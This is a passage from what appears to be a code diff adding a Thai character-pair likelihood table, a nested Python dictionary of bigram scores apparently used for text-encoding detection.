'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 1, # 'ึ' + 27: 3, # 'ื' + 32: 1, # 'ุ' + 35: 2, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 0, # '่' + 7: 1, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 54: { # 'ฟ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 2, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 2, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 1, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 2, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 45: { # 'ภ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 3, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 2, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 9: { # 'ม' + 5: 2, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 2, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 3, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 2, # 'ร' + 61: 2, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 1, # 'ศ' + 46: 1, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 3, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 2, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 2, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 16: { # 'ย' + 5: 3, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 2, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 3, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 3, # 'ี' + 40: 1, # 'ึ' + 27: 2, # 'ื' + 32: 2, # 'ุ' + 35: 3, # 'ู' + 11: 2, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 2, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 2, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 2: { # 'ร' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 2, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 3, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 3, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 3, # 'ถ' + 14: 3, # 'ท' + 48: 1, # 'ธ' + 3: 2, # 'น' + 17: 2, # 'บ' + 25: 3, # 'ป' + 39: 2, # 'ผ' + 62: 1, # 'ฝ' + 31: 2, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 2, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 1, # 'ฯ' + 22: 3, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 2, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 3, # 'ู' + 11: 3, # 'เ' + 28: 3, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 3, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 61: { # 'ฤ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 2, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 15: { # 'ล' + 5: 2, # 'ก' + 30: 3, # 'ข' + 24: 1, # 'ค' + 8: 3, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 3, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 3, # 'อ' + 63: 2, # 'ฯ' + 22: 3, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 2, # 'ึ' + 27: 3, # 'ื' + 32: 2, # 'ุ' + 35: 3, # 'ู' + 11: 2, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 2, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 12: { # 'ว' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 1, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 2, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 42: { # 'ศ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 1, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 2, # 'ว' + 42: 1, # 'ศ' + 46: 2, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 0, # 'ี' + 40: 3, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 2, # 'ู' + 11: 0, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 46: { # 'ษ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 2, # 'ฎ' + 57: 1, # 'ฏ' + 49: 2, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 3, # 'ณ' + 20: 0, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 18: { # 'ส' + 5: 2, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 2, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 3, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 2, # 'ภ' + 9: 3, # 'ม' + 16: 1, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 2, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 3, # 'ู' + 11: 2, # 'เ' + 28: 0, # 'แ' + 41: 1, # 'โ' + 29: 0, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 1, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 21: { # 'ห' + 5: 3, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 1, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 3, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 0, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 1, # 'ุ' + 35: 1, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 3, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 4: { # 'อ' + 5: 3, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 2, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 1, # '็' + 6: 2, # '่' + 7: 2, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 63: { # 'ฯ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 22: { # 'ะ' + 5: 3, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 1, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 3, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 1, # 'ธ' + 3: 2, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 1, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 10: { # 'ั' + 5: 3, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 3, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 3, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 2, # 'ฐ' + 53: 0, # 'ฑ' + 55: 3, # 'ฒ' + 43: 3, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 1: { # 'า' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 3, # 'ค' + 8: 3, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 3, # 'ช' + 51: 1, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 3, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 2, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 1, # 'ฝ' + 31: 3, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 3, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 3, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 36: { # 'ำ' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 3, # 'ค' + 8: 2, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 